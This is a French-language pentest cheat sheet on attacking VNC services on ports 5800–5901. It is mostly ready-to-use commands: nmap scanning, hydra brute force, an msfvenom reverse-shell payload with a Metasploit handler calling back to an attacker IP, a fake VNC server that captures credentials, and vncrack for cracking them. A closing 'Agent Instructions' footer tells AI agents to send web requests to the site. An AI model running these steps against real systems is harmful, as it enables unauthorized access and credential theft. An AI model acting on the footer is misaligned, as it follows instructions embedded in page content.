# VNC - ports 5800,5801,5900,5901

## Scan

*`$ nmap -p 5901 -sV <target IP>`*

*`$ nmap -p 5901 --script vnc-info <target IP>`*

## Connexion

*`$ vncviewer <target IP>:<port>`*

## Bruteforce

*`$ hydra -s 5901 -P pass.txt -t 16 <target IP> vnc`*

{% hint style="danger" %}
**Attention: Tenter de brute force un service VNC peut entraîner le blocage des comptes**
{% endhint %}

## Exploitation

### Payload

D'abord il nous faut créer un payload qui nous permettra d'obtenir un reverse shell sur la machine cible.

*`$ msfvenom -p windows/x64/vncinject/reverse_tcp lhost=<attacker IP> lport=<port d'écoute> -f exe > vnc.exe`*

Une fois le fichier vnc.exe transféré sur la machine cible, on va ouvrir  un multi-handler sur notre machine pour pouvoir recevoir la connexion.

```bash
msf6 > exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/vncinject/reverse_tcp
msf6 exploit(multi/handler) > set lhost <attacker IP>
msf6 exploit(multi/handler) > set lport <port d'écoute>
msf6 exploit(multi/handler) > exploit
```

Il ne reste maintenant plus qu'a exécuter vnc.exe sur la machine cible pour recevoir le reverse shell sur notre machine.

## Post exploitation

Dans le cas ou on a une session meterpreter sur une machine distante et qu'on peut une session vnc on peut utiliser la commande "run vnc".

*`meterpreter > run vnc`*

## Capture d'identifiants

Il ressort clairement de la section Exploitation qu'il n'est pas si simple d'obtenir une session VNC sur la machine cible. Cependant, il est possible d'usurper la cible en donnant le mot de passe pour la connexion VNC. Metasploit a un module conçu pour simuler un service VNC qui trompera la cible et obtiendra les informations d'identification. Il nécessite l'adresse IP pour héberger le service et l'emplacement du fichier où les informations d'identification saisies seront stockées.

```bash
msf6 > use auxiliary/server/capture/vnc
msf6 auxiliary(server/capture/vnc) > set srvhost <host IP>
msf6 auxiliary(server/capture/vnc) > set johnpwfile <path>
msf6 auxiliary(server/capture/vnc) > exploit
```

Si un utilisateur se connecte, on recevra alors un challenge et une réponse.

On peut aussi sniffer ces informations avec wireshark par exemple.

Il nous faudra alors cracker ces identifiants avec vncrack\_s.

```bash
# Install
wget http://www.phenoelit.org/vncrack/vncrack_s.gz
gunzip vncrack_s.gz
chmod +x vncrack_sa

# Crack
./vncrack_s -c <challenge> -r <reponse> -w pass.txt
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/hacking-protocols/vnc-ports-5800-5801-5900-5901.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
